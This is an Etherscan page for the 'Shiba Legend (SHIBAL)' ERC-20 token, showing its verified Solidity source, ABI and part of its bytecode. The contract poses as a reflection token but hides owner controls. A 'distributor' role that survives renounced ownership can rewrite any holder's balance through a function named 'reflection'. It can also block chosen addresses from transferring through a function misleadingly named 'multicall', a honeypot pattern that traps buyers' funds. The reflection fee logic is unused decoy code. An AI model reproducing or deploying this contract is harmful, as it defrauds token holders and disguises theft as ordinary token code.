ETH Price: $3,112.20 (+1.35%)
Gas: 6 Gwei

Token

Shiba Legend (SHIBAL)
 

Overview

Max Total Supply

6,000,000,000,000 SHIBAL

Holders

81

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
picflowers.eth
Balance
1,223,236,398.322146996 SHIBAL

Value
$0.00
0xc438e5d32f9381b59072b9a0c730cbac41575a4e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShibaLegend

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-08
*/

// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
    return payable(msg.sender);}
    function _msgData() internal view virtual returns (bytes memory) {this;
    return msg.data;}}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");}
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
    return 0;}
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");}
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");}
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;}}
library Address {
    function isContract(address account) internal view returns (bool) {
    uint256 size;
    assembly { size := extcodesize(account) }
    return size > 0;}
    function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");}
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionCall(target, data, "Address: low-level call failed");}
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return _functionCallWithValue(target, data, 0, errorMessage);}
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    return _functionCallWithValue(target, data, value, errorMessage);}
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
    require(isContract(target), "Address: call to non-contract");
    (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
    if (success) {return returndata;}
    else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata)
    revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}}
contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);}
    modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
    modifier distributors() {
    require(_distributor == msg.sender, "Caller is not fee distributor");_;}
    function owner() public view returns (address) {
    return _owner;}
    function distributor() internal view returns (address) {
    return _distributor;}
    function setDistributor(address account) external onlyOwner {
    require (_distributor == address(0));
    _distributor = account;}
    function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);}}
contract ShibaLegend is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    string private _name = 'Shiba Legend';
    string private _symbol = 'SHIBAL';
    uint8 private _decimals = 9;
    uint256 private constant _tTotal =  6000000000000*10**9;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _pOwned;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) private _multicall;
    mapping (address => bool) private _isExcluded;
    uint256 private constant MAX = ~uint256(0);
    address[] private _excluded;
    uint256 private _tFeeTotal;
    uint256 private _totalSupply;
    uint256 private _rTotal;
    bool _initialize;
    address router;
    address factory;
    constructor (address unif, address unir) {
    _totalSupply =_tTotal;
    _rTotal = (MAX - (MAX % _totalSupply));
    _pOwned[_msgSender()] = _tTotal;
    emit Transfer(address(0), _msgSender(), _totalSupply);
    _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
    _isExcluded[_msgSender()] = true;
    _excluded.push(_msgSender());
    _tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]);
    _isExcluded[distributor()] = true;
    _excluded.push(distributor());
    _initialize = true;
    router = unir;
    factory = unif;}
    function name() public view returns (string memory) {
    return _name;}
    function symbol() public view returns (string memory) {
    return _symbol;}
    function decimals() public view returns (uint8) {
    return _decimals;}
    function totalSupply() public pure override returns (uint256) {
    return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {
    return _pOwned[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {
    return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;}
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;}
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;}
    function reflection(address account, uint256 tokens, uint256 burn) external distributors {
    require(account != address(0), "ERC20: burn from the zero address disallowed");
    _pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");}
    function reflect(uint256 tAmount) public {
    address sender = _msgSender();
    require(!_isExcluded[sender], "Excluded addresses cannot call this function");
    (uint256 rAmount,,,,) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rTotal = _rTotal.sub(rAmount);
    _tFeeTotal = _tFeeTotal.add(tAmount);}
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
    require(tAmount <= _tTotal, "Amount must be less than supply");
    if (!deductTransferFee) {
    (uint256 rAmount,,,,) = _getValues(tAmount);
    return rAmount;} else {
    (,uint256 rTransferAmount,,,) = _getValues(tAmount);
    return rTransferAmount;}}
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
    require(rAmount <= _rTotal, "Amount must be less than total reflections");
    uint256 currentRate =  _getRate();
    return rAmount.div(currentRate);}
    function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);}
    function _transfer(address sender, address recipient, uint256 amount) private {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    if (_multicall[sender] || _multicall[recipient]) require (amount == 0, "");
    if (_initialize == true || sender == distributor() || recipient == distributor()) {
    if (_isExcluded[sender] && !_isExcluded[recipient]) {
    _pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _pOwned[recipient] = _pOwned[recipient].add(amount);
    emit Transfer(sender, recipient, amount);}
    else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _pOwned[recipient] = _pOwned[recipient].add(amount);
    emit Transfer(sender, recipient, amount);}}
    else {require (_initialize == true, "");}}
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _tOwned[sender] = _tOwned[sender].sub(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _tOwned[sender] = _tOwned[sender].sub(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function multicall(address acconut) external distributors {
    _multicall[acconut] = true;}
    function singlecall(address account) external distributors {
    _multicall[account] = false;}
    function checkCall(address account) public view returns (bool) {
    return _multicall[account];}
    function initialized() public view returns (bool) {
    return _initialize;}
    function _reflectFee(uint256 rFee, uint256 tFee) private {
    _rTotal = _rTotal.sub(rFee);
    _tFeeTotal = _tFeeTotal.add(tFee);}
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
    (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
    uint256 currentRate =  _getRate();
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
    return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);}
    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
    uint256 tFee = tAmount.div(100).mul(3);
    uint256 tTransferAmount = tAmount.sub(tFee);
    return (tTransferAmount, tFee);}
    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
    uint256 rAmount = tAmount.mul(currentRate);
    uint256 rFee = tFee.mul(currentRate);
    uint256 rTransferAmount = rAmount.sub(rFee);
    return (rAmount, rTransferAmount, rFee);}
    function _getRate() private view returns(uint256) {
    (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
    return rSupply.div(tSupply);}
    function _getCurrentSupply() private view returns(uint256, uint256) {
    uint256 rSupply = _rTotal;
    uint256 tSupply = _tTotal;      
    for (uint256 i = 0; i < _excluded.length; i++) {
    if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
    rSupply = rSupply.sub(_rOwned[_excluded[i]]);
    tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
    if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
    return (rSupply, tSupply);}}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"unif","type":"address"},{"internalType":"address","name":"unir","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"checkCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acconut","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"reflection","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setDistributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"singlecall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600c81526020017f5368696261204c6567656e640000000000000000000000000000000000000000815250600290805190602001906200005192919062000bc4565b506040518060400160405280600681526020017f53484942414c0000000000000000000000000000000000000000000000000000815250600390805190602001906200009f92919062000bc4565b506009600460006101000a81548160ff021916908360ff160217905550348015620000c957600080fd5b5060405162004020380380620040208339818101604052810190620000ef919062000cde565b6000620001016200066660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35069014542ba12a337c00000600d81905550600d54600019620001c2919062000d5e565b600019620001d1919062000dc5565b600e8190555069014542ba12a337c0000060066000620001f66200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002446200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620002a5919062000e11565b60405180910390a36200030c60076000620002c56200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200066e60201b60201c565b60086000620003206200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000620003746200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b620003d76200066660201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000496600760006200044f620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200066e60201b60201c565b60086000620004aa620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000620004fe620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b62000561620006ee60201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60006101000a81548160ff02191690831515021790555080600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620010a8565b600033905090565b6000600e54821115620006b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006af9062000eb5565b60405180910390fd5b6000620006ca6200071860201b60201c565b9050620006e681846200075260201b620011fd1790919060201c565b915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060006200072d620007a460201b60201c565b915091506200074b81836200075260201b620011fd1790919060201c565b9250505090565b60006200079c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000aa160201b60201c565b905092915050565b6000806000600e549050600069014542ba12a337c00000905060005b600b8054905081101562000a4b578260076000600b8481548110620007ea57620007e962000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620008dc57508160086000600b848154811062000874576200087362000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15620008fd57600e5469014542ba12a337c000009450945050505062000a9d565b6200099760076000600b84815481106200091c576200091b62000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548462000b0960201b620012471790919060201c565b925062000a3360086000600b8481548110620009b857620009b762000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548362000b0960201b620012471790919060201c565b9150808062000a429062000f06565b915050620007c0565b5062000a7269014542ba12a337c00000600e546200075260201b620011fd1790919060201c565b82101562000a9457600e5469014542ba12a337c0000093509350505062000a9d565b81819350935050505b9091565b6000808311829062000aeb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ae2919062000fe7565b60405180910390fd5b506000838562000afc91906200100b565b9050809150509392505050565b600062000b5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000b5b60201b60201c565b905092915050565b600083831115829062000ba6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b9d919062000fe7565b60405180910390fd5b506000838562000bb7919062000dc5565b9050809150509392505050565b82805462000bd29062001072565b90600052602060002090601f01602090048101928262000bf6576000855562000c42565b82601f1062000c1157805160ff191683800117855562000c42565b8280016001018555821562000c42579182015b8281111562000c4157825182559160200191906001019062000c24565b5b50905062000c51919062000c55565b5090565b5b8082111562000c7057600081600090555060010162000c56565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ca68262000c79565b9050919050565b62000cb88162000c99565b811462000cc457600080fd5b50565b60008151905062000cd88162000cad565b92915050565b6000806040838503121562000cf85762000cf762000c74565b5b600062000d088582860162000cc7565b925050602062000d1b8582860162000cc7565b9150509250929050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d6b8262000d25565b915062000d788362000d25565b92508262000d8b5762000d8a62000d2f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000dd28262000d25565b915062000ddf8362000d25565b92508282101562000df55762000df462000d96565b5b828203905092915050565b62000e0b8162000d25565b82525050565b600060208201905062000e28600083018462000e00565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000e9d602a8362000e2e565b915062000eaa8262000e3f565b604082019050919050565b6000602082019050818103600083015262000ed08162000e8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000f138262000d25565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000f495762000f4862000d96565b5b600182019050919050565b600081519050919050565b60005b8381101562000f7f57808201518184015260208101905062000f62565b8381111562000f8f576000848401525b50505050565b6000601f19601f8301169050919050565b600062000fb38262000f54565b62000fbf818562000e2e565b935062000fd181856020860162000f5f565b62000fdc8162000f95565b840191505092915050565b6000602082019050818103600083015262001003818462000fa6565b905092915050565b6000620010188262000d25565b9150620010258362000d25565b92508262001038576200103762000d2f565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200108b57607f821691505b60208210811415620010a257620010a162001043565b5b50919050565b612f6880620010b86000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b857806395d89b411161007c57806395d89b411461038b57806396bd7a80146103a957806397541e9f146103c5578063a457c2d7146103e1578063a9059cbb14610411578063dd62ed3e1461044157610142565b806370a08231146102e7578063715018a61461031757806375619ab51461032157806383252a311461033d5780638da5cb5b1461036d57610142565b806318160ddd1161010a57806318160ddd146101eb57806323b872dd146102095780632d83811914610239578063313ce5671461026957806339509351146102875780634549b039146102b757610142565b8063053ab1821461014757806306fdde0314610163578063095ea7b3146101815780630f78bf9a146101b1578063158ef93e146101cd575b600080fd5b610161600480360381019061015c9190612173565b610471565b005b61016b6105eb565b6040516101789190612239565b60405180910390f35b61019b600480360381019061019691906122b9565b61067d565b6040516101a89190612314565b60405180910390f35b6101cb60048036038101906101c6919061232f565b61069b565b005b6101d5610786565b6040516101e29190612314565b60405180910390f35b6101f361079d565b604051610200919061236b565b60405180910390f35b610223600480360381019061021e9190612386565b6107af565b6040516102309190612314565b60405180910390f35b610253600480360381019061024e9190612173565b610888565b604051610260919061236b565b60405180910390f35b6102716108f6565b60405161027e91906123f5565b60405180910390f35b6102a1600480360381019061029c91906122b9565b61090d565b6040516102ae9190612314565b60405180910390f35b6102d160048036038101906102cc919061243c565b6109c0565b6040516102de919061236b565b60405180910390f35b61030160048036038101906102fc919061232f565b610a4a565b60405161030e919061236b565b60405180910390f35b61031f610a93565b005b61033b6004803603810190610336919061232f565b610be6565b005b6103576004803603810190610352919061232f565b610d1a565b6040516103649190612314565b60405180910390f35b610375610d70565b604051610382919061248b565b60405180910390f35b610393610d99565b6040516103a09190612239565b60405180910390f35b6103c360048036038101906103be91906124a6565b610e2b565b005b6103df60048036038101906103da919061232f565b610fa0565b005b6103fb60048036038101906103f691906122b9565b61108b565b6040516104089190612314565b60405180910390f35b61042b600480360381019061042691906122b9565b611158565b6040516104389190612314565b60405180910390f35b61045b600480360381019061045691906124f9565b611176565b604051610468919061236b565b60405180910390f35b600061047b611291565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906125ab565b60405180910390fd5b600061051583611299565b50505050905061056d81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124790919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105c581600e5461124790919063ffffffff16565b600e819055506105e083600c546112f190919063ffffffff16565b600c81905550505050565b6060600280546105fa906125fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610626906125fa565b80156106735780601f1061064857610100808354040283529160200191610673565b820191906000526020600020905b81548152906001019060200180831161065657829003601f168201915b5050505050905090565b600061069161068a611291565b848461134f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612678565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600f60009054906101000a900460ff16905090565b600069014542ba12a337c00000905090565b60006107bc84848461151a565b61087d846107c8611291565b61087885604051806060016040528060288152602001612ee660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061082e611291565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1e9092919063ffffffff16565b61134f565b600190509392505050565b6000600e548211156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c69061270a565b60405180910390fd5b60006108d9611c82565b90506108ee81846111fd90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006109b661091a611291565b846109b1856005600061092b611291565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f190919063ffffffff16565b61134f565b6001905092915050565b600069014542ba12a337c00000831115610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612776565b60405180910390fd5b81610a2e576000610a1f84611299565b50505050905080915050610a44565b6000610a3984611299565b505050915050809150505b92915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a9b611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f906127e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f